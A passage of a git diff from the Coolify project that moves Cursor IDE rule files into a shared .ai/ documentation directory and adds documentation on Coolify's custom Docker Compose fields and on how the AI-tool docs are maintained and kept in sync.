+- **[tests/Unit/ContainerStatusAggregatorTest.php](mdc:tests/Unit/ContainerStatusAggregatorTest.php)**: Core state machine logic (42 comprehensive tests)
+- **[tests/Unit/ContainerHealthStatusTest.php](mdc:tests/Unit/ContainerHealthStatusTest.php)**: Health status aggregation integration
+- **[tests/Unit/PushServerUpdateJobStatusAggregationTest.php](mdc:tests/Unit/PushServerUpdateJobStatusAggregationTest.php)**: Sentinel update logic
+- **[tests/Unit/ExcludeFromHealthCheckTest.php](mdc:tests/Unit/ExcludeFromHealthCheckTest.php)**: Excluded container handling
+
+### **Common Bugs to Avoid**
+
+✅ **Prevented by ContainerStatusAggregator Service**:
+- ❌ **Old Bug**: Forgetting to track `$hasUnknown` flag → ✅ Now centralized in service
+- ❌ **Old Bug**: Inconsistent priority across paths → ✅ Single source of truth
+- ❌ **Old Bug**: Forgetting to update all 4 locations → ✅ Only one location to update
+
+**Still Relevant**:
+
+❌ **Bug**: Forgetting to filter excluded containers before aggregation
+✅ **Fix**: Always use `CalculatesExcludedStatus` trait to filter before calling `ContainerStatusAggregator`
+
+❌ **Bug**: Not passing `$maxRestartCount` for crash loop detection
+✅ **Fix**: Calculate max restart count from containers and pass to `aggregateFromStrings()`/`aggregateFromContainers()`
+
+❌ **Bug**: Not handling excluded containers with `:excluded` suffix
+✅ **Fix**: Check for `:excluded` suffix in UI logic and button visibility
diff --git a/.cursor/rules/deployment-architecture.mdc b/.ai/core/deployment-architecture.md
similarity index 51%
rename from .cursor/rules/deployment-architecture.mdc
rename to .ai/core/deployment-architecture.md
index 35ae6699b..272f00e4c 100644
--- a/.cursor/rules/deployment-architecture.mdc
+++ b/.ai/core/deployment-architecture.md
@@ -1,8 +1,3 @@
----
-description: Docker orchestration, deployment workflows, and containerization patterns
-globs: app/Jobs/*.php, app/Actions/Application/*.php, app/Actions/Server/*.php, docker/*.*, *.yml, *.yaml
-alwaysApply: false
----
 # Coolify Deployment Architecture
 
 ## Deployment Philosophy
@@ -308,3 +303,286 @@ ### External Services
 - **External database** connections
 - **Third-party monitoring** tools
 - **Custom notification** channels
+
+---
+
+## Coolify Docker Compose Extensions
+
+Coolify extends standard Docker Compose with custom fields (often called "magic fields") that provide Coolify-specific functionality. These extensions are processed during deployment and stripped before sending the final compose file to Docker, maintaining full compatibility with Docker's compose specification.
+
+### Overview
+
+**Why Custom Fields?**
+- Enable Coolify-specific features without breaking Docker Compose compatibility
+- Simplify configuration by embedding content directly in compose files
+- Allow fine-grained control over health check monitoring
+- Reduce external file dependencies
+
+**Processing Flow:**
+1. User defines compose file with custom fields
+2. Coolify parses and processes custom fields (creates files, stores settings)
+3. Custom fields are stripped from final compose sent to Docker
+4. Docker receives standard, valid compose file
+
+### Service-Level Extensions
+
+#### `exclude_from_hc`
+
+**Type:** Boolean
+**Default:** `false`
+**Purpose:** Exclude specific services from health check monitoring while still showing their status
+
+**Example Usage:**
+```yaml
+services:
+  watchtower:
+    image: containrrr/watchtower
+    exclude_from_hc: true  # Don't monitor this service's health
+
+  backup:
+    image: postgres:16
+    exclude_from_hc: true  # Backup containers don't need monitoring
+    restart: always
+```
+
+**Behavior:**
+- Container status is still calculated from Docker state (running, exited, etc.)
+- Status displays with `:excluded` suffix (e.g., `running:healthy:excluded`)
+- UI shows "Monitoring Disabled" indicator
+- Functionally equivalent to `restart: no` for health check purposes
+- See [Container Status with All Excluded](application-architecture.md#container-status-when-all-containers-excluded) for detailed status handling
+
+**Use Cases:**
+- Sidecar containers (watchtower, log collectors)
+- Backup/maintenance containers
+- One-time initialization containers
+- Containers that intentionally restart frequently
+
+**Implementation:**
+- Parsed: `bootstrap/helpers/parsers.php`
+- Status logic: `app/Traits/CalculatesExcludedStatus.php`
+- Validation: `tests/Unit/ExcludeFromHealthCheckTest.php`
+
+### Volume-Level Extensions
+
+Volume extensions only work with **long syntax** (array/object format), not short syntax (string format).
+
+#### `content`
+
+**Type:** String (supports multiline with `|` or `>`)
+**Purpose:** Embed file content directly in compose file for automatic creation during deployment
+
+**Example Usage:**
+```yaml
+services:
+  app:
+    image: node:20
+    volumes:
+      # Inline entrypoint script
+      - type: bind
+        source: ./entrypoint.sh
+        target: /app/entrypoint.sh
+        content: |
+          #!/bin/sh
+          set -e
+          echo "Starting application..."
+          npm run migrate
+          exec "$@"
+
+      # Configuration file with environment variables
+      - type: bind
+        source: ./config.xml
+        target: /etc/app/config.xml
+        content: |
+          <?xml version='1.0' encoding='UTF-8'?>
+          <config>
+            <database>
+              <host>${DB_HOST}</host>
+              <port>${DB_PORT}</port>
+            </database>
+          </config>
+```
+
+**Behavior:**
+- Content is written to the host at `source` path before container starts
+- File is created with mode `644` (readable by all, writable by owner)
+- Environment variables in content are interpolated at deployment time
+- Content is stored in `LocalFileVolume` model (encrypted at rest)
+- Original `docker_compose_raw` retains content for editing
+
+**Use Cases:**
+- Entrypoint scripts
+- Configuration files
+- Environment-specific settings
+- Small initialization scripts
+- Templates that require dynamic content
+
+**Limitations:**
+- Not suitable for large files (use git repo or external storage instead)
+- Binary files not supported
+- Changes require redeployment
+
+**Real-World Examples:**
+- `templates/compose/traccar.yaml` - XML configuration file
+- `templates/compose/supabase.yaml` - Multiple config files
+- `templates/compose/chaskiq.yaml` - Entrypoint script
+
+**Implementation:**
+- Parsed: `bootstrap/helpers/parsers.php` (line 717)
+- Storage: `app/Models/LocalFileVolume.php`
+- Validation: `tests/Unit/StripCoolifyCustomFieldsTest.php`
+
+#### `is_directory` / `isDirectory`
+
+**Type:** Boolean
+**Default:** `true` (if neither `content` nor explicit flag provided)
+**Purpose:** Indicate whether bind mount source should be created as directory or file
+
+**Example Usage:**
+```yaml
+services:
+  app:
+    volumes:
+      # Explicit file
+      - type: bind
+        source: ./config.json
+        target: /app/config.json
+        is_directory: false  # Create as file
+
+      # Explicit directory
+      - type: bind
+        source: ./logs
+        target: /var/log/app
+        is_directory: true   # Create as directory
+
+      # Auto-detected as file (has content)
+      - type: bind
+        source: ./script.sh
+        target: /entrypoint.sh
+        content: |
+          #!/bin/sh
+          echo "Hello"
+        # is_directory: false implied by content presence
+```
+
+**Behavior:**
+- If `is_directory: true` → Creates directory with `mkdir -p`
+- If `is_directory: false` → Creates empty file with `touch`
+- If `content` provided → Implies `is_directory: false`
+- If neither specified → Defaults to `true` (directory)
+
+**Naming Conventions:**
+- `is_directory` (snake_case) - **Preferred**, consistent with PHP/Laravel conventions
+- `isDirectory` (camelCase) - **Legacy support**, both work identically
+
+**Use Cases:**
+- Disambiguating files vs directories when no content provided
+- Ensuring correct bind mount type for Docker
+- Pre-creating mount points before container starts
+
+**Implementation:**
+- Parsed: `bootstrap/helpers/parsers.php` (line 718)
+- Storage: `app/Models/LocalFileVolume.php` (`is_directory` column)
+- Validation: `tests/Unit/StripCoolifyCustomFieldsTest.php`
+
+### Custom Field Stripping
+
+**Function:** `stripCoolifyCustomFields()` in `bootstrap/helpers/docker.php`
+
+All custom fields are removed before the compose file is sent to Docker. This happens in two contexts:
+
+**1. Validation (User-Triggered)**
+```php
+// In validateComposeFile() - Edit Docker Compose modal
+$yaml_compose = Yaml::parse($compose);
+$yaml_compose = stripCoolifyCustomFields($yaml_compose);  // Strip custom fields
+// Send to docker compose config for validation
+```
+
+**2. Deployment (Automatic)**
+```php
+// In Service::parse() - During deployment
+$docker_compose = parseCompose($docker_compose_raw);
+// Custom fields are processed and then stripped
+// Final compose sent to Docker has no custom fields
+```
+
+**What Gets Stripped:**
+- Service-level: `exclude_from_hc`
+- Volume-level: `content`, `isDirectory`, `is_directory`
+
+**What's Preserved:**
+- All standard Docker Compose fields
+- Environment variables
+- Standard volume definitions (after custom fields removed)
+
+### Important Notes
+
+#### Long vs Short Volume Syntax
+
+**✅ Long Syntax (Works with Custom Fields):**
+```yaml
+volumes:
+  - type: bind
+    source: ./data
+    target: /app/data
+    content: "Hello"    # ✅ Custom fields work here
+```
+
+**❌ Short Syntax (Custom Fields Ignored):**
+```yaml
+volumes:
+  - "./data:/app/data"  # ❌ Cannot add custom fields to strings
+```
+
+#### Docker Compose Compatibility
+
+Custom fields are **Coolify-specific** and won't work with standalone `docker compose` CLI:
+
+```bash
+# ❌ Won't work - Docker doesn't recognize custom fields
+docker compose -f compose.yaml up
+
+# ✅ Works - Use Coolify's deployment (strips custom fields first)
+# Deploy through Coolify UI or API
+```
+
+#### Editing Custom Fields
+
+When editing in "Edit Docker Compose" modal:
+- Custom fields are preserved in the editor
+- "Validate" button strips them temporarily for Docker validation
+- "Save" button preserves them in `docker_compose_raw`
+- They're processed again on next deployment
+
+### Template Examples
+
+See these templates for real-world usage:
+
+**Service Exclusions:**
+- `templates/compose/budibase.yaml` - Excludes watchtower from monitoring
+- `templates/compose/pgbackweb.yaml` - Excludes backup service
+- `templates/compose/elasticsearch-with-kibana.yaml` - Excludes elasticsearch
+
+**Inline Content:**
+- `templates/compose/traccar.yaml` - XML configuration (multiline)
+- `templates/compose/supabase.yaml` - Multiple config files
+- `templates/compose/searxng.yaml` - Settings file
+- `templates/compose/invoice-ninja.yaml` - Nginx config
+
+**Directory Flags:**
+- `templates/compose/paperless.yaml` - Explicit directory creation
+
+### Testing
+
+**Unit Tests:**
+- `tests/Unit/StripCoolifyCustomFieldsTest.php` - Custom field stripping logic
+- `tests/Unit/ExcludeFromHealthCheckTest.php` - Health check exclusion behavior
+- `tests/Unit/ContainerStatusAggregatorTest.php` - Status aggregation with exclusions
+
+**Test Coverage:**
+- ✅ All custom fields (exclude_from_hc, content, isDirectory, is_directory)
+- ✅ Multiline content (YAML `|` syntax)
+- ✅ Short vs long volume syntax
+- ✅ Field stripping without data loss
+- ✅ Standard Docker Compose field preservation
diff --git a/.cursor/rules/project-overview.mdc b/.ai/core/project-overview.md
similarity index 96%
rename from .cursor/rules/project-overview.mdc
rename to .ai/core/project-overview.md
index b615a5d3e..59fda4868 100644
--- a/.cursor/rules/project-overview.mdc
+++ b/.ai/core/project-overview.md
@@ -1,8 +1,3 @@
----
-description: High-level project mission, core concepts, and architectural overview
-globs: README.md, CONTRIBUTING.md, CHANGELOG.md, *.md
-alwaysApply: false
----
 # Coolify Project Overview
 
 ## What is Coolify?
diff --git a/.cursor/rules/technology-stack.mdc b/.ai/core/technology-stack.md
similarity index 67%
rename from .cursor/rules/technology-stack.mdc
rename to .ai/core/technology-stack.md
index 2119a2ff1..b12534db7 100644
--- a/.cursor/rules/technology-stack.mdc
+++ b/.ai/core/technology-stack.md
@@ -1,23 +1,19 @@
----
-description: Complete technology stack, dependencies, and infrastructure components
-globs: composer.json, package.json, docker-compose*.yml, config/*.php
-alwaysApply: false
----
 # Coolify Technology Stack
 
+Complete technology stack, dependencies, and infrastructure components.
+
 ## Backend Framework
 
 ### **Laravel 12.4.1** (PHP Framework)
-- **Location**: [composer.json](mdc:composer.json)
 - **Purpose**: Core application framework
-- **Key Features**: 
+- **Key Features**:
   - Eloquent ORM for database interactions
   - Artisan CLI for development tasks
   - Queue system for background jobs
   - Event-driven architecture
 
-### **PHP 8.4**
-- **Requirement**: `^8.4` in [composer.json](mdc:composer.json)
+### **PHP 8.4.7**
+- **Requirement**: `^8.4` in composer.json
 - **Features Used**:
   - Typed properties and return types
   - Attributes for validation and configuration
@@ -28,11 +24,11 @@ ## Frontend Stack
 
 ### **Livewire 3.5.20** (Primary Frontend Framework)
 - **Purpose**: Server-side rendering with reactive components
-- **Location**: [app/Livewire/](mdc:app/Livewire/)
+- **Location**: `app/Livewire/`
 - **Key Components**:
-  - [Dashboard.php](mdc:app/Livewire/Dashboard.php) - Main interface
-  - [ActivityMonitor.php](mdc:app/Livewire/ActivityMonitor.php) - Real-time monitoring
-  - [MonacoEditor.php](mdc:app/Livewire/MonacoEditor.php) - Code editor
+  - Dashboard - Main interface
+  - ActivityMonitor - Real-time monitoring
+  - MonacoEditor - Code editor
 
 ### **Alpine.js** (Client-Side Interactivity)
 - **Purpose**: Lightweight JavaScript for DOM manipulation
@@ -40,8 +36,7 @@ ### **Alpine.js** (Client-Side Interactivity)
 - **Usage**: Declarative directives in Blade templates
 
 ### **Tailwind CSS 4.1.4** (Styling Framework)
-- **Location**: [package.json](mdc:package.json)
-- **Configuration**: [postcss.config.cjs](mdc:postcss.config.cjs)
+- **Configuration**: `postcss.config.cjs`
 - **Extensions**:
   - `@tailwindcss/forms` - Form styling
   - `@tailwindcss/typography` - Content typography
@@ -57,24 +52,24 @@ ## Database & Caching
 ### **PostgreSQL 15** (Primary Database)
 - **Purpose**: Main application data storage
 - **Features**: JSONB support, advanced indexing
-- **Models**: [app/Models/](mdc:app/Models/)
+- **Models**: `app/Models/`
 
 ### **Redis 7** (Caching & Real-time)
-- **Purpose**: 
+- **Purpose**:
   - Session storage
   - Queue backend
   - Real-time data caching
   - WebSocket session management
 
 ### **Supported Databases** (For User Applications)
-- **PostgreSQL**: [StandalonePostgresql.php](mdc:app/Models/StandalonePostgresql.php)
-- **MySQL**: [StandaloneMysql.php](mdc:app/Models/StandaloneMysql.php)
-- **MariaDB**: [StandaloneMariadb.php](mdc:app/Models/StandaloneMariadb.php)
-- **MongoDB**: [StandaloneMongodb.php](mdc:app/Models/StandaloneMongodb.php)
-- **Redis**: [StandaloneRedis.php](mdc:app/Models/StandaloneRedis.php)
-- **KeyDB**: [StandaloneKeydb.php](mdc:app/Models/StandaloneKeydb.php)
-- **Dragonfly**: [StandaloneDragonfly.php](mdc:app/Models/StandaloneDragonfly.php)
-- **ClickHouse**: [StandaloneClickhouse.php](mdc:app/Models/StandaloneClickhouse.php)
+- **PostgreSQL**: StandalonePostgresql
+- **MySQL**: StandaloneMysql
+- **MariaDB**: StandaloneMariadb
+- **MongoDB**: StandaloneMongodb
+- **Redis**: StandaloneRedis
+- **KeyDB**: StandaloneKeydb
+- **Dragonfly**: StandaloneDragonfly
+- **ClickHouse**: StandaloneClickhouse
 
 ## Authentication & Security
 
@@ -101,7 +96,7 @@ ### **Laravel Horizon 5.30.3**
 
 ### **Queue System**
 - **Backend**: Redis-based queues
-- **Jobs**: [app/Jobs/](mdc:app/Jobs/)
+- **Jobs**: `app/Jobs/`
 - **Processing**: Background deployment and monitoring tasks
 
 ## Development Tools
@@ -130,21 +125,21 @@ ### **Git Providers**
 - **Gitea**: Self-hosted Git service
 
 ### **Cloud Storage**
-- **AWS S3**: [league/flysystem-aws-s3-v3](mdc:composer.json)
-- **SFTP**: [league/flysystem-sftp-v3](mdc:composer.json)
+- **AWS S3**: league/flysystem-aws-s3-v3
+- **SFTP**: league/flysystem-sftp-v3
 - **Local Storage**: File system integration
 
 ### **Notification Services**
-- **Email**: [resend/resend-laravel](mdc:composer.json)
+- **Email**: resend/resend-laravel
 - **Discord**: Custom webhook integration
 - **Slack**: Webhook notifications
 - **Telegram**: Bot API integration
 - **Pushover**: Push notifications
 
 ### **Monitoring & Logging**
-- **Sentry**: [sentry/sentry-laravel](mdc:composer.json) - Error tracking
-- **Laravel Ray**: [spatie/laravel-ray](mdc:composer.json) - Debug tool
-- **Activity Log**: [spatie/laravel-activitylog](mdc:composer.json)
+- **Sentry**: sentry/sentry-laravel - Error tracking
+- **Laravel Ray**: spatie/laravel-ray - Debug tool
+- **Activity Log**: spatie/laravel-activitylog
 
 ## DevOps & Infrastructure
 
@@ -181,9 +176,9 @@ ### **Monaco Editor**
 ## API & Documentation
 
 ### **OpenAPI/Swagger**
-- **Documentation**: [openapi.json](mdc:openapi.json) (373KB)
-- **Generator**: [zircote/swagger-php](mdc:composer.json)
-- **API Routes**: [routes/api.php](mdc:routes/api.php)
+- **Documentation**: openapi.json (373KB)
+- **Generator**: zircote/swagger-php
+- **API Routes**: `routes/api.php`
 
 ### **WebSocket Communication**
 - **Laravel Echo**: Real-time event broadcasting
@@ -192,7 +187,7 @@ ### **WebSocket Communication**
 
 ## Package Management
 
-### **PHP Dependencies** ([composer.json](mdc:composer.json))
+### **PHP Dependencies** (composer.json)
 ```json
 {
   "require": {
@@ -205,7 +200,7 @@ ### **PHP Dependencies** ([composer.json](mdc:composer.json))
 }
 ```
 
-### **JavaScript Dependencies** ([package.json](mdc:package.json))
+### **JavaScript Dependencies** (package.json)
 ```json
 {
   "devDependencies": {
@@ -223,15 +218,15 @@ ### **JavaScript Dependencies** ([package.json](mdc:package.json))
 ## Configuration Files
 
 ### **Build Configuration**
-- **[vite.config.js](mdc:vite.config.js)**: Frontend build setup
-- **[postcss.config.cjs](mdc:postcss.config.cjs)**: CSS processing
-- **[rector.php](mdc:rector.php)**: PHP refactoring rules
-- **[pint.json](mdc:pint.json)**: Code style configuration
+- **vite.config.js**: Frontend build setup
+- **postcss.config.cjs**: CSS processing
+- **rector.php**: PHP refactoring rules
+- **pint.json**: Code style configuration
 
 ### **Testing Configuration**
-- **[phpunit.xml](mdc:phpunit.xml)**: Unit test configuration
-- **[phpunit.dusk.xml](mdc:phpunit.dusk.xml)**: Browser test configuration
-- **[tests/Pest.php](mdc:tests/Pest.php)**: Pest testing setup
+- **phpunit.xml**: Unit test configuration
+- **phpunit.dusk.xml**: Browser test configuration
+- **tests/Pest.php**: Pest testing setup
 
 ## Version Requirements
 
diff --git a/.cursor/rules/development-workflow.mdc b/.ai/development/development-workflow.md
similarity index 98%
rename from .cursor/rules/development-workflow.mdc
rename to .ai/development/development-workflow.md
index 175b7d85a..4ee376696 100644
--- a/.cursor/rules/development-workflow.mdc
+++ b/.ai/development/development-workflow.md
@@ -1,8 +1,3 @@
----
-description: Development setup, coding standards, contribution guidelines, and best practices
-globs: **/*.php, composer.json, package.json, *.md, .env.example
-alwaysApply: false
----
 # Coolify Development Workflow
 
 ## Development Environment Setup
diff --git a/.cursor/rules/laravel-boost.mdc b/.ai/development/laravel-boost.md
similarity index 99%
rename from .cursor/rules/laravel-boost.mdc
rename to .ai/development/laravel-boost.md
index c409a4647..7f5922d94 100644
--- a/.cursor/rules/laravel-boost.mdc
+++ b/.ai/development/laravel-boost.md
@@ -1,6 +1,3 @@
----
-alwaysApply: true
----
 <laravel-boost-guidelines>
 === foundation rules ===
 
diff --git a/.cursor/rules/testing-patterns.mdc b/.ai/development/testing-patterns.md
similarity index 99%
rename from .cursor/rules/testing-patterns.mdc
rename to .ai/development/testing-patterns.md
index 8d250b56a..875de8b3b 100644
--- a/.cursor/rules/testing-patterns.mdc
+++ b/.ai/development/testing-patterns.md
@@ -1,8 +1,3 @@
----
-description: Testing strategies with Pest PHP, Laravel Dusk, and quality assurance patterns
-globs: tests/**/*.php, database/factories/*.php
-alwaysApply: false
----
 # Coolify Testing Architecture & Patterns
 
 > **Cross-Reference**: These detailed testing patterns align with the testing guidelines in **[CLAUDE.md](mdc:CLAUDE.md)**. Both documents share the same core principles about Docker execution and mocking preferences.
diff --git a/.ai/meta/maintaining-docs.md b/.ai/meta/maintaining-docs.md
new file mode 100644
index 000000000..1a1552399
--- /dev/null
+++ b/.ai/meta/maintaining-docs.md
@@ -0,0 +1,172 @@
+# Maintaining AI Documentation
+
+Guidelines for creating and maintaining AI documentation to ensure consistency and effectiveness across all AI tools (Claude Code, Cursor IDE, etc.).
+
+## Documentation Structure
+
+All AI documentation lives in the `.ai/` directory with the following structure:
+
+```
+.ai/
+├── README.md                    # Navigation hub
+├── core/                        # Core project information
+├── development/                 # Development practices
+├── patterns/                    # Code patterns and best practices
+└── meta/                        # Documentation maintenance guides
+```
+
+> **Note**: `CLAUDE.md` is in the repository root, not in the `.ai/` directory.
+
+## Required File Structure
+
+When creating new documentation files:
+
+```markdown
+# Title
+
+Brief description of what this document covers.
+
+## Section 1
+
+- **Main Points in Bold**
+  - Sub-points with details
+  - Examples and explanations
+
+## Section 2
+
+### Subsection
+
+Content with code examples:
+
+```language
+// ✅ DO: Show good examples
+const goodExample = true;
+
+// ❌ DON'T: Show anti-patterns
+const badExample = false;
+```
+```
+
+## File References
+
+- Use relative paths: `See [technology-stack.md](../core/technology-stack.md)`
+- For code references: `` `app/Models/Application.php` ``
+- Keep links working across different tools
+
+## Content Guidelines
+
+### DO:
+- Start with high-level overview
+- Include specific, actionable requirements
+- Show examples of correct implementation
+- Reference existing code when possible
+- Keep documentation DRY by cross-referencing
+- Use bullet points for clarity
+- Include both DO and DON'T examples
+
+### DON'T:
+- Create theoretical examples when real code exists
+- Duplicate content across multiple files
+- Use tool-specific formatting that won't work elsewhere
+- Make assumptions about versions - specify exact versions
+
+## Rule Improvement Triggers
+
+Update documentation when you notice:
+- New code patterns not covered by existing docs
+- Repeated similar implementations across files
+- Common error patterns that could be prevented
+- New libraries or tools being used consistently
+- Emerging best practices in the codebase
+
+## Analysis Process
+
+When updating documentation:
+1. Compare new code with existing rules
+2. Identify patterns that should be standardized
+3. Look for references to external documentation
+4. Check for consistent error handling patterns
+5. Monitor test patterns and coverage
+
+## Rule Updates
+
+### Add New Documentation When:
+- A new technology/pattern is used in 3+ files
+- Common bugs could be prevented by documentation
+- Code reviews repeatedly mention the same feedback
+- New security or performance patterns emerge
+
+### Modify Existing Documentation When:
+- Better examples exist in the codebase
+- Additional edge cases are discovered
+- Related documentation has been updated
+- Implementation details have changed
+
+## Quality Checks
+
+Before committing documentation changes:
+- [ ] Documentation is actionable and specific
+- [ ] Examples come from actual code
+- [ ] References are up to date
+- [ ] Patterns are consistently enforced
+- [ ] Cross-references work correctly
+- [ ] Version numbers are exact and current
+
+## Continuous Improvement
+
+- Monitor code review comments
+- Track common development questions
+- Update docs after major refactors
+- Add links to relevant documentation
+- Cross-reference related docs
+
+## Deprecation
+
+When patterns become outdated:
+1. Mark outdated patterns as deprecated
+2. Remove docs that no longer apply
+3. Update references to deprecated patterns
+4. Document migration paths for old patterns
+
+## Synchronization
+
+### Single Source of Truth
+- Each piece of information should exist in exactly ONE location
+- Other files should reference the source, not duplicate it
+- Example: Version numbers live in `core/technology-stack.md`, other files reference it
+
+### Cross-Tool Compatibility
+- **CLAUDE.md**: Main instructions for Claude Code users (references `.ai/` files)
+- **.cursor/rules/**: Single master file pointing to `.ai/` documentation
+- **Both tools**: Should get same information from `.ai/` directory
+
+### When to Update What
+
+**Version Changes** (Laravel, PHP, packages):
+1. Update `core/technology-stack.md` (single source)
+2. Verify CLAUDE.md references it correctly
+3. No other files should duplicate version numbers
+
+**Workflow Changes** (commands, setup):
+1. Update `development/workflow.md`
+2. Ensure CLAUDE.md quick reference is updated
+3. Verify all cross-references work
+
+**Pattern Changes** (how to write code):
+1. Update appropriate file in `patterns/`
+2. Add/update examples from real codebase
+3. Cross-reference from related docs
+
+## Documentation Files
+
+Keep documentation files only when explicitly needed. Don't create docs that merely describe obvious functionality - the code itself should be clear.
+
+## Breaking Changes
+
+When making breaking changes to documentation structure:
+1. Update this maintaining-docs.md file
+2. Update `.ai/README.md` navigation
+3. Update CLAUDE.md references
+4. Update `.cursor/rules/coolify-ai-docs.mdc`
+5. Test all cross-references still work
+6. Document the changes in sync-guide.md
diff --git a/.ai/meta/sync-guide.md b/.ai/meta/sync-guide.md
new file mode 100644
index 000000000..ab9a45d1a
--- /dev/null
+++ b/.ai/meta/sync-guide.md
@@ -0,0 +1,214 @@
+# AI Instructions Synchronization Guide
+
+This document explains how AI instructions are organized and synchronized across different AI tools used with Coolify.
+
+## Overview
+
+Coolify maintains AI instructions with a **single source of truth** approach:
+
+1. **CLAUDE.md** - Main entry point for Claude Code (references `.ai/` directory)
+2. **.cursor/rules/coolify-ai-docs.mdc** - Master reference file for Cursor IDE (references `.ai/` directory)
+3. **.ai/** - Single source of truth containing all detailed documentation
+
+All AI tools (Claude Code, Cursor IDE, etc.) reference the same `.ai/` directory to ensure consistency.
+
+## Structure
+
+### CLAUDE.md (Root Directory)
+- **Purpose**: Entry point for Claude Code with quick-reference guide
+- **Format**: Single markdown file
+- **Includes**:
+  - Quick-reference development commands
+  - High-level architecture overview
+  - Essential patterns and guidelines
+  - References to detailed `.ai/` documentation
+
+### .cursor/rules/coolify-ai-docs.mdc
+- **Purpose**: Master reference file for Cursor IDE
+- **Format**: Single .mdc file with frontmatter
+- **Content**: Quick decision tree and references to `.ai/` directory
+- **Note**: Replaces all previous topic-specific .mdc files
+
+### .ai/ Directory (Single Source of Truth)
+- **Purpose**: All detailed, topic-specific documentation
+- **Format**: Organized markdown files by category
+- **Structure**:
+  ```
+  .ai/
+  ├── README.md                    # Navigation hub
+  ├── core/                        # Project information
+  │   ├── technology-stack.md      # Version numbers (SINGLE SOURCE OF TRUTH)
+  │   ├── project-overview.md
+  │   ├── application-architecture.md
+  │   └── deployment-architecture.md
+  ├── development/                 # Development practices
+  │   ├── development-workflow.md
+  │   ├── testing-patterns.md
+  │   └── laravel-boost.md
+  ├── patterns/                    # Code patterns
+  │   ├── database-patterns.md
+  │   ├── frontend-patterns.md
+  │   ├── security-patterns.md
+  │   ├── form-components.md
+  │   └── api-and-routing.md
+  └── meta/                        # Documentation guides
+      ├── maintaining-docs.md
+      └── sync-guide.md (this file)
+  ```
+- **Used by**: All AI tools through CLAUDE.md or coolify-ai-docs.mdc
+
+## Cross-References
+
+All systems reference the `.ai/` directory as the source of truth:
+
+- **CLAUDE.md** → references `.ai/` files for detailed documentation
+- **.cursor/rules/coolify-ai-docs.mdc** → references `.ai/` files for detailed documentation
+- **.ai/README.md** → provides navigation to all documentation
+
+## Maintaining Consistency
+
+### 1. Core Principles (MUST be consistent)
+
+These are defined ONCE in `.ai/core/technology-stack.md`:
+- Laravel version (currently Laravel 12.4.1)
+- PHP version (8.4.7)
+- All package versions (Livewire 3.5.20, Tailwind 4.1.4, etc.)
+
+**Exception**: CLAUDE.md is permitted to show essential version numbers as a quick reference for convenience. These must stay synchronized with `technology-stack.md`. When updating versions, update both locations.
+
+Other critical patterns defined in `.ai/`:
+- Testing execution rules (Docker for Feature tests, mocking for Unit tests)
+- Security patterns and authorization requirements
+- Code style requirements (Pint, PSR-12)
+
+### 2. Where to Make Changes
+
+**For version numbers** (Laravel, PHP, packages):
+1. Update `.ai/core/technology-stack.md` (single source of truth)
+2. Update CLAUDE.md quick reference section (essential versions only)
+3. Verify both files stay synchronized
+4. Never duplicate version numbers in other locations
+
+**For workflow changes** (how to run commands, development setup):
+1. Update `.ai/development/development-workflow.md`
+2. Update quick reference in CLAUDE.md if needed
+3. Verify `.cursor/rules/coolify-ai-docs.mdc` references are correct
+
+**For architectural patterns** (how code should be structured):
+1. Update appropriate file in `.ai/core/`
+2. Add cross-references from related docs
+3. Update CLAUDE.md if it needs to highlight this pattern
+
+**For code patterns** (how to write code):
+1. Update appropriate file in `.ai/patterns/`
+2. Add examples from real codebase
+3. Cross-reference from related docs
+
+**For testing patterns**:
+1. Update `.ai/development/testing-patterns.md`
+2. Ensure CLAUDE.md testing section references it
+
+### 3. Update Checklist
+
+When making significant changes:
+
+- [ ] Identify if change affects core principles (version numbers, critical patterns)
+- [ ] Update primary location in `.ai/` directory
+- [ ] Check if CLAUDE.md needs quick-reference update
+- [ ] Verify `.cursor/rules/coolify-ai-docs.mdc` references are still accurate
+- [ ] Update cross-references in related `.ai/` files
+- [ ] Verify all relative paths work correctly
+- [ ] Test links in markdown files
+- [ ] Run: `./vendor/bin/pint` on modified files (if applicable)
+
+### 4. Common Inconsistencies to Watch
+
+- **Version numbers**: Should ONLY exist in `.ai/core/technology-stack.md`
+- **Testing instructions**: Docker execution requirements must be consistent
+- **File paths**: Ensure relative paths work from their location
+- **Command syntax**: Docker commands, artisan commands must be accurate
+- **Cross-references**: Links must point to current file locations
+
+## File Organization
+
+```
+/
+├── CLAUDE.md                          # Claude Code entry point
+├── .AI_INSTRUCTIONS_SYNC.md           # Redirect to this file
+├── .cursor/
+│   └── rules/
+│       └── coolify-ai-docs.mdc        # Cursor IDE master reference
+└── .ai/                               # SINGLE SOURCE OF TRUTH
+    ├── README.md                       # Navigation hub
+    ├── core/                           # Project information
+    ├── development/                    # Development practices
+    ├── patterns/                       # Code patterns
+    └── meta/                          # Documentation guides
+```
+
+## Recent Updates
+
+### 2025-11-18 - Documentation Consolidation
+- ✅ Consolidated all documentation into `.ai/` directory
+- ✅ Created single source of truth for version numbers
+- ✅ Reduced CLAUDE.md from 719 to 319 lines
+- ✅ Replaced 11 .cursor/rules/*.mdc files with single coolify-ai-docs.mdc
+- ✅ Organized by topic: core/, development/, patterns/, meta/
+- ✅ Standardized version numbers (Laravel 12.4.1, PHP 8.4.7, Tailwind 4.1.4)
+- ✅ Created comprehensive navigation with .ai/README.md
+
+### 2025-10-07
+- ✅ Added cross-references between CLAUDE.md and .cursor/rules/
+- ✅ Synchronized Laravel version (12) across all files
+- ✅ Added comprehensive testing execution rules (Docker for Feature tests)
+- ✅ Added test design philosophy (prefer mocking over database)
+- ✅ Fixed inconsistencies in testing documentation
+
+## Maintenance Commands
+
+```bash
+# Check for version inconsistencies (should only be in technology-stack.md)
+# Note: CLAUDE.md is allowed to show quick reference versions
+grep -r "Laravel 12" .ai/ CLAUDE.md .cursor/rules/coolify-ai-docs.mdc
+grep -r "PHP 8.4" .ai/ CLAUDE.md .cursor/rules/coolify-ai-docs.mdc
+
+# Check for broken cross-references to old .mdc files
+grep -r "\.cursor/rules/.*\.mdc" .ai/ CLAUDE.md
+
+# Format all documentation
+./vendor/bin/pint CLAUDE.md .ai/**/*.md
+
+# Search for specific patterns across all docs
+grep -r "pattern_to_check" CLAUDE.md .ai/ .cursor/rules/
+
+# Verify all markdown links work (from repository root)
+find .ai -name "*.md" -exec grep -H "\[.*\](.*)" {} \;
+```
+
+## Contributing
+
+When contributing documentation:
+
+1. **Check `.ai/` directory** for existing documentation
+2. **Update `.ai/` files** - this is the single source of truth
+3. **Use cross-references** - never duplicate content
+4. **Update CLAUDE.md** if adding critical quick-reference information
+5. **Verify `.cursor/rules/coolify-ai-docs.mdc`** still references correctly
